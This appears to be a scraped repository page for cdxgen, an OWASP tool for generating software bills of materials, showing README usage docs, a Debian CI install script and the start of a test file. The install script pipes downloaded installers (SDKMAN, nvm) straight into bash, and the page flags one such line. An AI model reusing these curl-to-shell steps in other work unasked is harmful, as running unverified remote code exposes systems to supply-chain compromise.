  349. cdxgen -t java -o bom.json
  350. ```
  351. To print the SBOM as a table pass `-p` argument.
  352. ```shell
  353. cdxgen -t java -o bom.json -p
  354. ```
  355. To recursively generate a single BOM for all languages pass `-r` argument.
  356. ```shell
  357. cdxgen -r -o bom.json
  358. ```
  359. To generate an SBOM directly from a git URL:
  360. ```shell
  361. cdxgen -t java -o bom.json --git-branch main https://github.com/HooliCorp/java-sec-code.git
  362. ```
  363. This works anywhere cdxgen expects its primary source input, so a git URL can be used in place of `.` or any other local path.
  364. To generate an SBOM from a package URL (purl), cdxgen resolves registry metadata to a repository URL, clones it, and scans it:
  365. ```shell
  366. cdxgen -t js -o bom.json "pkg:npm/lodash@4.17.21"
  367. ```
  368. Supported purl source types: `npm`, `pypi`, `gem`, `cargo`, `pub`, `github`, `bitbucket`, `maven` (version required), `composer`, and `generic` (with `vcs_url` or `download_url` qualifier).
  369. > **Warning:** Repository URLs resolved from registries may be inaccurate or malicious. Review resolved sources before trusting generated output.
  370. The default specification used by cdxgen is 1.7. To generate BOM for a different specification version, such as 1.6, pass the version number using the `--spec-version` argument. Accepted values are 1.6, 1.7, and 2.0. Versions 1.4 and 1.5 are only available as output downgrades, not as generation targets; generate at 1.6 or higher and then use `cdx-convert --to 1.5` for legacy consumers.
  371. ```shell
  372. # 1.6 is supported by most tools
  373. cdxgen -r -o bom.json --spec-version 1.6
  374. ```
  375. Use repeated `--component-type` values to include only selected CycloneDX component types. This is a filter, not an inventory enabler: passing a type such as `machine-learning-model` does not enable machine-learning model discovery, and filtering to a type that the scan does not generate can produce an empty component list. The allowed values are validated against `--spec-version`; for example, `cryptographic-asset` requires 1.6 or newer, and unsupported component types are pruned during compatibility downgrades. The dedicated `cbom` command does not accept `--component-type`; use `cdxgen --include-crypto` for normal generation plus filtering.
  376. ```shell
  377. cdxgen -t docker alpine:3.20 --spec-version 1.6 --component-type library --component-type data
  378. ```
  379. To generate SBOM for C or Python, cdxgen uses the bundled atom companion. On linux-amd64, linux-arm64 (glibc), linux-amd64-musl, darwin-arm64, and windows-amd64, atom ships as a native binary and needs no JDK. Only the jar-based triples (darwin-amd64, windows-arm64, and linux-arm64-musl) run atom on the JVM.
  380. ```shell
  381. cdxgen -t c -o bom.json
  382. ```
  383. NOTE: On the jar-based triples, atom requires Java >= 23 and is known to freeze with Java 8 or 11, so ensure a suitable version is installed and the JAVA_HOME environment variable is configured correctly. If in doubt, use the cdxgen container image.
  384. ## Universal SBOM
  385. By passing the type argument `-t universal`, cdxgen could be forced to opportunistically collect as many components and services as possible by scanning all package, container, and Kubernetes manifests. The resulting SBOM could have over a thousand components, thus requiring additional triaging before use with traditional SCA tools.
  386. ## SBOM server
  387. Invoke cdxgen with `--server` argument to run it in server mode. By default, it listens to port `9090`, which can be customized with the arguments `--server-host` and `--server-port`.
  388. ```shell
  389. cdxgen --server
  390. ```
  391. Or use the container image.
  392. ```bash
  393. docker run --rm -v /tmp:/tmp -p 9090:9090 -v $(pwd):/app:rw -t ghcr.io/cdxgen/cdxgen -r /app --server --server-host 0.0.0.0
  394. ```
  395. Use curl or your favorite tool to pass arguments to the `/sbom` route.
  396. ### Server arguments
  397. Arguments can be passed either via the query string or as a JSON body. Please refer to [Server Usage][docs-server]
  398. ### Health endpoint
  399. Use the /health endpoint to check if the SBOM server is up and running.
  400. ```shell
  401. curl "http://127.0.0.1:9090/health"
  402. ```
  403. ### Scanning a local path
  404. ```shell
  405. curl "http://127.0.0.1:9090/sbom?path=/Volumes/Work/sandbox/vulnerable-aws-koa-app&multiProject=true&type=js"
  406. ```
  407. ### Scanning a git repo
  408. ```shell
  409. curl "http://127.0.0.1:9090/sbom?url=https://github.com/HooliCorp/vulnerable-aws-koa-app.git&multiProject=true&type=js"
  410. ```
  411. If you need to pass credentials to authenticate.
  412. ```shell
  413. curl "http://127.0.0.1:9090/sbom?url=https://<access_token>@github.com/some/repo.git&multiProject=true&type=js"
  414. curl "http://127.0.0.1:9090/sbom?url=https://<username>:<password>@bitbucket.org/some/repo.git&multiProject=true&type=js"
  415. ```
  416. You can POST the arguments.
  417. ```bash
  418. curl -H "Content-Type: application/json" http://localhost:9090/sbom -XPOST -d $'{"url": "https://github.com/HooliCorp/vulnerable-aws-koa-app.git", "type": "nodejs", "multiProject": "true"}'
  419. ```
  420. ### Review-first dry runs
  421. When you want to inspect what cdxgen would do before allowing side effects, use `--dry-run`.
  422. ```shell
  423. cdxgen --dry-run -p -t js .
  424. ```
  425. Dry-run mode keeps cdxgen read-only: it reads local files, blocks writes/exec/temp creation/cloning/submission, and prints an activity summary table for both beginners and power users. When available, the recorded activity data also captures archive extraction intent, command I/O volume, and followed symlink-resolution traces.
  426. ### Docker compose
  427. ```shell
  428. git clone https://github.com/cdxgen/cdxgen.git
  429. docker compose up
  430. ```
  431. ## War file support
  432. cdxgen can generate a BOM file from a given war file.
  433. ```shell
  434. # cdxgen -t java app.war
  435. cdxgen app.war
  436. ```
  437. ## Resolving licenses
  438. cdxgen can automatically query public registries such as maven, npm, or nuget to resolve the package licenses. This is a time-consuming operation and is disabled by default. To enable, set the environment variable `FETCH_LICENSE` to `true`, as shown. Ensure that `GITHUB_TOKEN` is set or provided by [built-in GITHUB_TOKEN in GitHub Actions][github-rate-limit], otherwise rate limiting might prevent license resolving.
  439. ```bash
  440. export FETCH_LICENSE=true
  441. ```
  442. ## Dependency Tree
  443. cdxgen can retain the dependency tree under the `dependencies` attribute for a small number of supported package manifests. These are currently limited to:
  444. - package-lock.json
  445. - yarn.lock
  446. - pnpm-lock.yaml
  447. - Maven (pom.xml)
  448. - Gradle
  449. - Scala SBT
  450. - Python (requirements.txt, setup.py, pyproject.toml, poetry.lock)
  451. - .NET (packages.lock.json, project.assets.json, paket.lock, .nuspec/.nupkg)
  452. - Go (go.mod)
  453. - PHP (composer.lock)
  454. - Ruby (Gemfile.lock)
  455. - Rust (Cargo.lock)
  456. ## Plugins
  457. `cdxgen` can be extended with external binary plugins to support more SBOM use cases. These are installed as optional dependencies and can be used without a global install.
  458. ```shell
  459. pnpm dlx @cdxgen/cdxgen-plugins-bin
  460. ```
  461. ## Coding agent plugin
  462. The cdxgen toolkit is also packaged as a plugin for coding agents, so agents drive the correct command and flags, including the dry-run-first and no-auto-install safety constraints, instead of guessing. It is meant for Claude Code, OpenAI Codex, the GitHub Copilot CLI and app, Cursor, Gemini CLI, Kiro and opencode, and has been tried in Claude Code and Codex so far.
  463. ```shell
  464. claude plugin marketplace add cdxgen/cdxgen
  465. claude plugin install cdxgen@cdxgen-plugins
  466. ```
  467. ```shell
  468. codex plugin marketplace add cdxgen/cdxgen
  469. codex plugin add cdxgen@cdxgen-plugins
  470. ```
  471. It ships skills covering SBOM generation, container and rootfs scans, OBOM/HBOM, CBOM, AI-BOM and MCP inventory, BOM auditing, signing, validation, conversion, evidence enrichment, runtime tracing, and Dependency-Track publishing. See [agent-plugin/README.md](agent-plugin/README.md) and the [installation guide](docs/AGENT_PLUGINS.md) for each client. To run cdxgen through an agent in GitHub Actions, see the [agent CI recipes](docs/AGENT_CI.md).
  472. ## Rust accelerator (cdxrs)
  473. cdxgen ships with an optional Rust accelerator binary, `cdxrs`, which speeds up hot paths such as registry metadata lookups where available. Use the `--rust` and `--no-rust` arguments to toggle it, or set the environment variable `CDXGEN_RS_DISABLE=all` to force the JavaScript path. See the [cdxrs protocol](./docs/CDXRS_PROTOCOL.md) document for implementation details.
  474. ## Metadata cache
  475. cdxgen caches registry metadata on disk to speed up repeat runs. Use the `cdxgen cache <info|clear>` subcommand to inspect or purge the cache, the `--cache` and `--cache-ttl` arguments to control it per run, or the `CDXGEN_NO_CACHE` and `CDXGEN_CACHE_TTL` environment variables for the same effect.
  476. ## Docker / OCI container support
  477. `docker` type is automatically detected based on the presence of values such as `sha256` or `docker.io` prefix etc in the path.
  478. ```shell
  479. cdxgen odoo@sha256:4e1e147f0e6714e8f8c5806d2b484075b4076ca50490577cdf9162566086d15e -o /tmp/bom.json
  480. ```
  481. You can also pass `-t docker` with repository names. Only the `latest` tag would be pulled if none was specified.
  482. ```shell
  483. cdxgen shiftleft/scan-slim -o /tmp/bom.json -t docker
  484. ```
  485. For offline or staged scans, point cdxgen at a locally reconstructed root filesystem directory. The container pipeline accepts `-t docker`, `-t rootfs`, or `-t oci-dir` for this mode.
  486. ```shell
  487. cdxgen /tmp/remote_target -o /tmp/bom.json -t rootfs
  488. ```
  489. With the packaged helpers installed, rootfs and container BOMs gain repository trust-source components, deep keyring / CA-store `cryptographic-asset` components, native CycloneDX origin fields such as `supplier`, `manufacturer`, and `authors` for OS package trust metadata, plus additional package trust-state properties such as `PackageArchitecture`, `PackageSource`, and `PackageStatus`.
  490. You can also pass the .tar file of a container image.
  491. ```shell
  492. docker pull shiftleft/scan-slim
  493. docker save -o /tmp/slim.tar shiftleft/scan-slim
  494. podman save -q --format oci-archive -o /tmp/slim.tar shiftleft/scan-slim
  495. cdxgen /tmp/slim.tar -o /tmp/bom.json -t docker
  496. ```
  497. ### Podman in rootless mode
  498. Setup podman in either [rootless][podman-github-rootless] or [remote][podman-github-remote] mode
  499. Do not forget to start the podman socket required for API access on Linux.
  500. ```shell
  501. systemctl --user enable --now podman.socket
  502. systemctl --user start podman.socket
  503. podman system service -t 0 &
  504. ```
  505. ### WSL Containers (wslc) on Windows
  506. On Windows, Docker Desktop is optional when [WSL Containers][wsl-containers-docs] is available. cdxgen automatically uses the `wslc` CLI (included with WSL 2.9.3 or higher) to pull, inspect, and export images whenever the docker CLI is not installed, so image scans such as the below work with just WSL:
  507. ```shell
  508. wsl --update
  509. cdxgen alpine:latest -t oci -o bom.json
  510. ```
  511. Set `DOCKER_CMD=wslc` to prefer wslc even when a docker CLI is installed. See [Generating container SBOM on Windows](./ADVANCED.md#generating-container-sbom-on-windows) for requirements, including the nested virtualization needed when Windows itself runs inside a VM.
  512. ## Generate OBOM for a live system
  513. You can use the `obom` command to generate an OBOM for a live system or a VM for compliance and vulnerability management purposes. Linux, Windows, and macOS are supported in this mode, though some macOS tables require elevated privileges and Full Disk Access.
  514. ```shell
  515. # obom is an alias for cdxgen -t os
  516. obom
  517. # cdxgen -t os
  518. ```
  519. This feature is powered by osquery, which is [installed](https://github.com/cdxgen/cdxgen-plugins-bin/blob/main/build.sh#L8) along with the binary plugins. cdxgen would opportunistically try to detect as many components, apps, and extensions as possible using the platform-specific default queries under `data/queries*.json`. The Linux profile includes dedicated `sysctl_hardening` and `mount_hardening` snapshots, GTFOBins enrichment for privileged and network-active runtime rows, Secure Boot certificate inventory, and improved npm package discovery. When the optional `trustinspector` helper is available, OBOM collection is further enriched with:
  520. - macOS code-signing authority, team ID, and notarization assessment metadata for discovered application paths
  521. - Windows Authenticode signer/timestamp metadata for discovered executable paths
  522. - Windows WDAC active-policy inventory
  523. - batched path inspection so large host inventories keep their trust metadata instead of stopping at the first few hundred paths
  524. Container and rootfs BOMs also summarize how many executable and shared-library file components were discovered outside OS package ownership. Look for `cdx:container:unpackagedExecutableCount` and `cdx:container:unpackagedSharedLibraryCount` in metadata, or use `.unpackagedbins` and `.unpackagedlibs` in `cdxi` for an interactive pivot.
  525. The process would take several minutes and result in an SBOM file with thousands of components of various types, such as operating-system, device-drivers, files, and data.
  526. For practical SOC/IR and compliance workflows, see the dedicated [OBOM lessons](./docs/OBOM_LESSONS.md). For macOS-specific setup and permission caveats, see [OBOM macOS troubleshooting](./docs/OBOM_MACOS_TROUBLESHOOTING.md). For compact before/after examples of the new trust metadata, see [Trust enrichment BOM diff examples](./docs/TRUST_ENRICHMENT_DIFF.md).
  527. ## Generate Cryptography Bill of Materials (CBOM)
  528. Use the `cbom` alias to generate a CBOM. In addition to keystores and certificates, cdxgen can also derive cryptographic algorithm inventory from JavaScript and TypeScript source by following lightweight constant propagation through common `node:crypto`, WebCrypto, and JWT call sites.
  529. ```shell
  530. cbom -t java
  531. # cdxgen -t java --include-crypto -o bom.json .
  532. # Add source-derived crypto algorithms for a JS or TS project
  533. cdxgen --include-crypto -o bom.json /absolute/path/to/js-project
  534. ```
  535. When reviewing the result in `cdxi`, use `.cryptos` for the full cryptographic asset view or `.sourcecryptos` to narrow the list to source-derived algorithm components only.
  536. ## Generating SaaSBOM and component evidences
  537. See [evinse mode](./ADVANCED.md) in the advanced documentation.
  538. ---
  539. ## BOM signing
  540. cdxgen features a best-in-class, native **JSON Signature Format (JSF)** implementation for BOM signing, providing robust authenticity and non-repudiation capabilities. Unlike basic signing tools, our implementation fully supports granular signatures (signing individual components, services, and annotations), parallel Multi-Signatures (`signers`), and sequential Signature Chains (`chain`).
  541. To enable automatic signing during BOM generation, set the following environment variables:
  542. - `SBOM_SIGN_ALGORITHM`: JSF Algorithm. Examples: `RS512`, `ES256`, `Ed25519`, `HS256`. It must match the key type.
  543. - `SBOM_SIGN_PRIVATE_KEY`: Location of the private key (PEM format), or of the shared secret for `HS256`, `HS384`, and `HS512`
  544. - `SBOM_SIGN_PUBLIC_KEY`: Optional. Location of the public key to embed. It must belong to the private key.
  545. - `SBOM_SIGN_MODE`: Optional. Signature mode (`replace`, `signers`, `chain`). Default is `replace`.
  546. To quickly generate a test key pair for `SBOM_SIGN_ALGORITHM` and sign your first BOM, you can run cdxgen with the `--generate-key-and-sign` argument.
  547. When signing is configured (`SBOM_SIGN_ALGORITHM` plus a private key), cdxgen signs the BOM it writes, prints, or submits to Dependency-Track, and exits with status 1 if it cannot sign it, including when the key file is missing. A private key without `SBOM_SIGN_ALGORITHM` leaves the BOM unsigned and prints a warning; set `SBOM_SIGN_ALGORITHM=none` to opt out explicitly.
  548. BOMs signed with cdxgen 13.2.0 or earlier must be re-signed with the current `cdx-sign` before they verify. See [cdx-sign](docs/CDX_SIGN.md#re-signing-boms-from-earlier-releases).
  549. ### Advanced Signing with `cdx-sign`
  550. For complex supply chain orchestration, use the bundled `cdx-sign` CLI. This tool allows multiple entities (e.g., a Builder and an Auditor) to co-sign an existing BOM without modifying its original data.
  551. ```shell
  552. # Append a parallel multi-signature (Auditor co-signing) after checking the Builder's signature
  553. # Note: Granular component signing is disabled to preserve the Builder's original signature payload.
  554. cdx-sign -i bom.json -k auditor_private.pem -a ES256 --key-id "auditor-qa" --mode signers --no-sign-components --verify-existing-with builder_public.pem
  555. ```
  556. ### Validating CycloneDX BOMs
  557. Use the bundled `cdx-validate` command to validate CycloneDX BOMs against **structural**, **deep**, and **compliance** checks. Refer to this [document](./docs/CDX_VALIDATE.md) for usage.
  558. ### Verifying the signature
  559. Use the bundled `cdx-verify` command to validate BOM signatures. By default, `cdx-verify` performs a **strict deep verification**, meaning it mathematically validates the top-level BOM signature _and_ the signatures of every nested component, service, and annotation against the provided public key. Refer to this [lesson](./docs/LESSON6.md) for the usage of sign and verify commands.
  560. ```shell
  561. npm install -g @cdxgen/cdxgen --omit=optional --ignore-scripts --min-release-age=2
  562. # Perform strict deep verification (default)
  563. cdx-verify -i bom.json --public-key public.key
  564. # Verify ONLY the top-level root signature (useful for verifying a multi-signer who didn't sign nested components)
  565. cdx-verify -i bom.json --public-key auditor_public.key --no-deep
  566. # Require every co-signer
  567. cdx-verify -i bom.json --public-key builder_public.key --public-key auditor_public.key --require-all
  568. ```
  569. ### Verifying the signature (pnpm)
  570. You can run the verification tools directly using pnpm (no global install needed):
  571. ```shell
  572. pnpm dlx @cdxgen/cdxgen cdx-verify -i bom.json --public-key public.key
  573. ```
  574. You can also use pnpm to invoke the signing tool:
  575. ```shell
  576. pnpm dlx @cdxgen/cdxgen cdx-sign -i bom.json -k private.key
  577. ```
  578. ---
  579. ## Automatic usage detection
  580. For node.js projects, lock files are parsed initially, so the SBOM would include all dependencies, including dev ones. An AST parser powered by babel-parser is then used to detect packages that are imported and used by non-test code. Such imported packages would automatically set their scope property to `required` in the resulting SBOM. A package with no observed usage keeps the scope from the lock file, since packages loaded from configuration, bundler entrypoints, stylesheets, or plugins are invisible to import analysis. A package imported only for its TypeScript types is scoped `excluded`, and a package that only such packages depend on is scoped `optional`. You can turn off this analysis by passing the argument `--no-babel`. Scope property would then be set based on the `dev` attribute in the lock file.
  581. Single-file component frameworks are handled natively by this analysis: `.vue` and `.svelte` templates are segmented position-preservingly so script imports recover with correct file and line evidence. For Svelte and SvelteKit, framework usage signals are additionally collected — SvelteKit virtual modules such as `$app/stores` are attributed to `@sveltejs/kit`, `$lib/*` imports resolve through `kit.alias`, `svelte.config.js` adapters and preprocessors, CSS preprocessor packages implied by `<style lang="...">` blocks together with their `@use`/`@import` package references, npm script executables such as `svelte-kit sync` and `svelte-check`, and rune usage (`$state`, `$derived`, ...) which marks `svelte` required even in components that never import it. This works in every installation; when the optional `@appthreat/atom-parsetools` package is present, template expressions also contribute usage occurrences.
  582. This attribute can be later used for various purposes. For example, [dep-scan][depscan-github] uses this attribute to prioritize vulnerabilities. Unfortunately, tools such as dependency track, do not include this feature and might over-report the CVEs.
  583. With the argument `--required-only`, you can limit the SBOM only to include packages with the scope "required", commonly called production or non-dev dependencies. Combine with `--no-babel` to limit this list to only non-dev dependencies based on the `dev` attribute being false in the lock files.
  584. For go, `go list -deps` lists the modules the project's packages import, and a module is scoped `required` when go.mod requires it directly and `optional` when the requirement is `// indirect`. With `USE_GOSUM=true`, `go mod why` scopes each go.sum module instead: `required` when the main module needs it, and `optional` when go reports that it does not. If `go mod why` fails, no module is scoped `optional`. For php, composer lock file is parsed to distinguish required (packages) from optional (packages-dev).
  585. ## Automatic services detection
  586. cdxgen can automatically detect names of services from YAML manifests such as docker-compose, Kubernetes, or Skaffold manifests. These would be populated under the `services` attribute in the generated SBOM. With [evinse](./ADVANCED.md), additional services could be detected by parsing common annotations from the source code.
  587. ## Conversion to SPDX format
  588. For direct conversion of an existing CycloneDX JSON BOM to SPDX JSON-LD, use
  589. the bundled `cdx-convert` command:
  590. ```shell
  591. cdx-convert -i bom.json -o bom.spdx.json
  592. ```
  593. `cdx-convert` currently supports CycloneDX 1.6, 1.7, and 2.0 inputs, accepts and
  594. produces protobuf, and exports SPDX 3.0.1 JSON-LD. The `--to` argument accepts
  595. either `spdx` or a CycloneDX spec version (1.5, 1.6, or 1.7) for
  596. CycloneDX-to-CycloneDX cross-version conversion, which is also the recommended
  597. way to produce 1.5 output for legacy consumers.
  598. Use `cdxgen --format spdx` (or `--format cyclonedx,spdx`) when generating BOMs.
  599. Use the [CycloneDX CLI][cyclonedx-cli-github] tool for advanced use cases such
  600. as diff and merging.
  601. To distribute BOMs through the Transparency Exchange API (TEA), use the
  602. `--tea-fetch` and `--tea-publish` arguments. See the [TEA lesson](docs/LESSON20.md)
  603. for usage.
  604. ## Including .NET Global Assembly Cache dependencies in the results
  605. For `dotnet` and `dotnet-framework`, SBOM could include components without a version number. Often, these components begin with the prefix `System.`.
  606. Global Assembly Cache (GAC) dependencies (System Runtime dependencies) must be made available in the build output of the project for version detection. A simple way to have the dotnet build copy the GAC dependencies into the build directory is to place the file `Directory.Build.props` into the root of the project and ensure the contents include the following:
  607. ```
  608. <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  609. <ItemDefinitionGroup>
  610. <Reference>
  611. <Private>True</Private>
  612. </Reference>
  613. </ItemDefinitionGroup>
  614. </Project>
  615. ```
  616. Then, run cdxgen cli with the `--deep` argument.
  617. ## License
  618. Permission to modify and redistribute is granted under the terms of the Apache 2.0 license. See the [LICENSE][github-license] file for the full license.
  619. ## Integration as library
  620. cdxgen is [ESM only](https://gist.github.com/sindresorhus/a39789f98801d908bbc7ff3ecc99d99c) and could be imported and used with both deno and Node.js >= 24
  621. Minimal example:
  622. ```ts
  623. import { createBom, submitBom } from "npm:@cdxgen/cdxgen@^13";
  624. ```
  625. See the [Deno Readme](./contrib/deno/README.md) for detailed instructions.
  626. ```javascript
  627. import { createBom, submitBom } from "@cdxgen/cdxgen";
  628. // bomNSData would contain bomJson
  629. const bomNSData = await createBom(filePath, options);
  630. // Submission to dependency track server
  631. const dbody = await submitBom(args, bomNSData.bomJson);
  632. ```
  633. ## Contributing
  634. Please check out our [open issues][github-contribute] if you are interested in helping.
  635. ### Codeberg Mirror
  636. The project is mirrored on [Codeberg](https://codeberg.org/cdxgen/cdxgen). Users can clone the repository using the following URL:
  637. ```shell
  638. git clone https://codeberg.org/cdxgen/cdxgen.git
  639. ```
  640. The maintainers accept Pull Requests (PRs) against the Codeberg repository.
  641. > **Note:** The Codeberg repository is currently synced manually from GitHub.
  642. Before raising a PR, please run the following commands.
  643. ```shell
  644. corepack enable pnpm
  645. pnpm install:frozen
  646. # Generate types using jsdoc syntax
  647. pnpm run gen-types
  648. # Run biomejs formatter and linter with auto fix
  649. pnpm run lint
  650. # Run poku tests
  651. pnpm test
  652. ```
  653. ### Testing main branch
  654. Use `pnpm add -g` command to quickly test the main branch.
  655. ```shell
  656. corepack pnpm bin -g
  657. corepack pnpm setup
  658. corepack pnpm add -g https://github.com/cdxgen/cdxgen
  659. cdxgen --help
  660. ```
  661. ### Testing main branch (No Global Install)
  662. To quickly test the latest main branch without installing globally, you can use `pnpm` in a local or temporary environment.
  663. ```shell
  664. corepack enable
  665. pnpm install --prefer-offline
  666. pnpm dlx cdxgen --help
  667. ```
  668. ## Sponsors
  669. <div style="display: flex; align-items: center; gap: 20px;">
  670. <img src="./docs/_media/GithubLogo-LightBg.png" width="180" height="180">
  671. <img src="./docs/_media/MicrosoftLogo.png" width="180" height="180">
  672. </div>
  673. Some features are funded through [NGI Zero Core](https://nlnet.nl/core), a fund established by [NLnet](https://nlnet.nl) with financial support from the European Commission's [Next Generation Internet](https://ngi.eu) program. Learn more at the [NLnet project page](https://nlnet.nl/project/OWASP-dep-scan).
  674. [<img src="https://nlnet.nl/logo/banner.png" alt="NLnet foundation logo" width="20%" />](https://nlnet.nl)
  675. [<img src="https://nlnet.nl/image/logos/NGI0_tag.svg" alt="NGI Zero Logo" width="20%" />](https://nlnet.nl/core)
  676. cdxgen is an OWASP Foundation production project.
  677. [<img src="https://owasp.org/assets/images/logo.png" width="20%" />](https://owasp.org)
  678. ## cdxgen badge
  679. Copy the below block to your markdown files to show your ❤️ for cdxgen.
  680. ```markdown
  681. [![SBOM](https://img.shields.io/badge/SBOM-with_%E2%9D%A4%EF%B8%8F_by_cdxgen-FF753D)](https://github.com/cdxgen/cdxgen)
  682. ```
  683. <!-- LINK LABELS -->
  684. <!-- Badges -->
  685. [badge-github-contributors]: https://img.shields.io/github/contributors/cdxgen/cdxgen
  686. [badge-github-license]: https://img.shields.io/github/license/cdxgen/cdxgen
  687. [badge-github-releases]: https://img.shields.io/github/v/release/cdxgen/cdxgen
  688. [badge-jsr]: https://img.shields.io/jsr/v/%40cdxgen/cdxgen
  689. [badge-npm]: https://img.shields.io/npm/v/%40cdxgen%2Fcdxgen
  690. [badge-npm-downloads]: https://img.shields.io/npm/dy/%40cdxgen%2Fcdxgen
  691. [badge-swh]: https://archive.softwareheritage.org/badge/origin/https://github.com/cdxgen/cdxgen/
  692. <!-- cdxgen github project -->
  693. [github-contribute]: https://github.com/cdxgen/cdxgen/contribute
  694. [github-contributors]: https://github.com/cdxgen/cdxgen/graphs/contributors
  695. [github-license]: https://github.com/cdxgen/cdxgen/blob/master/LICENSE
  696. [github-releases]: https://github.com/cdxgen/cdxgen/releases
  697. <!-- cdxgen documentation site -->
  698. [docs-homepage]: https://cdxgen.github.io/cdxgen
  699. [docs-advanced-usage]: https://cdxgen.github.io/cdxgen/#/ADVANCED
  700. [docs-cli]: https://cdxgen.github.io/cdxgen/#/CLI
  701. [docs-env-vars]: https://cdxgen.github.io/cdxgen/#/ENV
  702. [docs-permissions]: https://cdxgen.github.io/cdxgen/#/PERMISSIONS
  703. [docs-project-types]: https://cdxgen.github.io/cdxgen/#/PROJECT_TYPES
  704. [docs-server]: https://cdxgen.github.io/cdxgen/#/SERVER
  705. [docs-support]: https://cdxgen.github.io/cdxgen/#/SUPPORT
  706. <!-- web links-->
  707. [cyclonedx-cli-github]: https://github.com/CycloneDX/cyclonedx-cli
  708. [depscan-github]: https://github.com/owasp-dep-scan/dep-scan
  709. [github-rate-limit]: https://docs.github.com/en/rest/overview/rate-limits-for-the-rest-api#primary-rate-limit-for-github_token-in-github-actions
  710. [homebrew-homepage]: https://brew.sh
  711. [homebrew-cdxgen]: https://formulae.brew.sh/formula/cdxgen
  712. [winget-homepage]: https://learn.microsoft.com/en-us/windows/package-manager/winget/
  713. [jsr-cdxgen]: https://jsr.io/@cdxgen/cdxgen
  714. [librariesio]: https://libraries.io/npm/@cdxgen%2Fcdxgen
  715. [npmjs-cdxgen]: https://www.npmjs.com/package/@cdxgen/cdxgen
  716. [npmjs-cdxgen-v12]: https://www.npmjs.com/package/@cyclonedx/cdxgen
  717. [podman-github-rootless]: https://github.com/containers/podman/blob/master/docs/tutorials/rootless_tutorial.md
  718. [podman-github-remote]: https://github.com/containers/podman/blob/master/docs/tutorials/mac_win_client.md
  719. [wsl-containers-docs]: https://learn.microsoft.com/en-us/windows/wsl/wsl-container
  720. [swh-cdxgen]: https://archive.softwareheritage.org/browse/origin/?origin_url=https://github.com/cdxgen/cdxgen
ci/images/debian/install.sh · Bundled script · 69 lines · 1 finding marked
  1. #! /usr/bin/env bash
  2. set -e
  3. glibc_version=$(ldd --version | head -n1 | awk '{print $NF}')
  4. required_version="2.35"
  5. # Compare versions: if glibc_version < required_version, set the env var
  6. if [ "$(printf '%s\n%s\n' "$glibc_version" "$required_version" | sort -V | head -n1)" != "$required_version" ]; then
  7. export npm_config_build_from_source=true
  8. fi
  9. if [ x"${ATOM_RUBY_VERSION}" != "x" ]; then
  10. git clone https://github.com/rbenv/rbenv.git --depth=1 ~/.rbenv
  11. echo 'export PATH="/root/.rbenv/bin:$PATH"' >> ~/.bashrc
  12. echo 'eval "$(/root/.rbenv/bin/rbenv init - bash)"' >> ~/.bashrc
  13. source ~/.bashrc
  14. mkdir -p "$(rbenv root)/plugins"
  15. git clone https://github.com/rbenv/ruby-build.git --depth=1 "$(rbenv root)/plugins/ruby-build"
  16. if [ -n "$RUBY_LANG_URL" ]; then
  17. sed -i "s|https://cache.ruby-lang.org|$RUBY_LANG_URL|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
  18. fi
  19. if [ -n "$GITHUB_URL" ]; then
  20. sed -i "s|https://github.com|$GITHUB_URL|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
  21. fi
  22. rbenv install $ATOM_RUBY_VERSION -- --disable-install-doc
  23. if [ -n "$RUBY_LANG_URL" ]; then
  24. sed -i "s|$RUBY_LANG_URL|https://cache.ruby-lang.org|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
  25. fi
  26. if [ -n "$GITHUB_URL" ]; then
  27. sed -i "s|$GITHUB_URL|https://github.com|g" $(rbenv root)/plugins/ruby-build/share/ruby-build/*
  28. fi
  29. fi
  30. if [ x"${SKIP_ATOM}" != "xyes" ]; then
  31. ARCH_NAME="$(dpkg --print-architecture)"
  32. # Download atom native binary
  33. curl -L $GITHUB_URL/AppThreat/atom/releases/latest/download/atom-${ARCH_NAME} -o /usr/local/bin/atom
  34. chmod +x /usr/local/bin/atom
  35. /usr/local/bin/atom --help || true
  36. fi
  37. if [ x"${JAVA_VERSION}" != "x" ]; then
  38. curl -L "https://get.sdkman.io" | bash
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 43 on GitHub
  39. SDKMAN_BROKER_API="${SDKMAN_URL}/broker"
  40. SDKMAN_CANDIDATES_API="${SDKMAN_URL}"
  41. chmod +x /root/.sdkman/bin/sdkman-init.sh
  42. source $HOME/.sdkman/bin/sdkman-init.sh
  43. printf "sdkman_auto_answer=true\nsdkman_selfupdate_feature=false\nsdkman_auto_env=true\nsdkman_curl_connect_timeout=20\nsdkman_curl_max_time=0" >> $HOME/.sdkman/etc/config
  44. sdk install java ${JAVA_VERSION}
  45. if [ x"${MAVEN_VERSION}" != "x" ]; then
  46. sdk install maven ${MAVEN_VERSION}
  47. fi
  48. mv /root/.sdkman/candidates/* /opt/
  49. rm -rf /root/.sdkman
  50. fi
  51. if [ x"${SKIP_PYTHON}" != "xyes" ]; then
  52. python3 --version
  53. python3 -m pip install --no-cache-dir --upgrade --ignore-installed pip virtualenv --break-system-packages || true
  54. python3 -m pip install --no-cache-dir --upgrade pipenv poetry uv --target /opt/pypi
  55. fi
  56. if [ x"${SKIP_NODEJS}" != "xyes" ]; then
  57. curl -o- $GITHUB_RAW_URL/nvm-sh/nvm/$NVM_VERSION/install.sh | bash
  58. chmod +x /root/.nvm/nvm.sh
  59. source /root/.nvm/nvm.sh
  60. nvm install ${NODE_VERSION}
  61. npm install --global corepack@latest
  62. fi
lib/cli/bomAssembly.poku.js · Bundled script · 1,296 lines · 1 finding marked
  1. import { createHash } from "node:crypto";
  2. import esmock from "esmock";
  3. import { assert, describe, it } from "poku";
  4. import sinon from "sinon";
  5. import { resetRunState } from "../core/runState.js";
  6. import { CDXGEN_VERSION } from "../core/state.js";
  7. import {
  8. getExecutedTools,
  9. recordExecutedTool,
  10. resetExecutedTools,
  11. } from "../core/toolRegistry.js";
  12. import { getPluginToolComponents } from "../managers/binary.js";
  13. import { validateBom } from "../validator/bomValidator.js";
  14. import {
  15. addExternalReferences,
  16. addMetadata,
  17. addToolsSection,
  18. buildBomNSData,
  19. dedupeBom,
  20. HASH_PATTERN,
  21. listComponents,
  22. processHashes,
  23. toOrganizationalEntity,
  24. } from "./bomAssembly.js";
  25. import { getNpmPackFilePaths, getProp } from "./bomTestHelpers.poku.js";
  26. describe("bomAssembly", () => {
  27. describe("hash normalization", () => {
  28. const hashesFor = (pkg) => {
  29. const component = { hashes: [] };
  30. processHashes(pkg, component);
  31. return component.hashes ?? [];
